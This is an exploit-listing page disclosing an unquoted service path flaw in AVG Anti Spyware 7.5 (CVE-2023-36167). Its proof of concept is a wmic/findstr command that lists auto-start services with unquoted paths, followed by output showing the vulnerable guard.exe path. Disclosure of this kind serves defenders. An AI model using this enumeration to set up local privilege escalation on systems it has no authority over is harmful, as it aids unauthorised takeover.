Avg anti spyware 7.5 unquoted service path "avg antispyware guard" Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2023-07-11 |
Type : local |
Platform : windows
This exploit / vulnerability Avg anti spyware 7.5 unquoted service path "avg antispyware guard" is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: AVG Anti Spyware 7.5 - Unquoted Service Path
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: https://www.avg.com
# Software Link: https://www.avg.com/en-ww/homepage#pc
# Version: 7.5
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36167
#PoC
C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
AVG Anti-Spyware Guard AVG Anti-Spyware Guard C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe Auto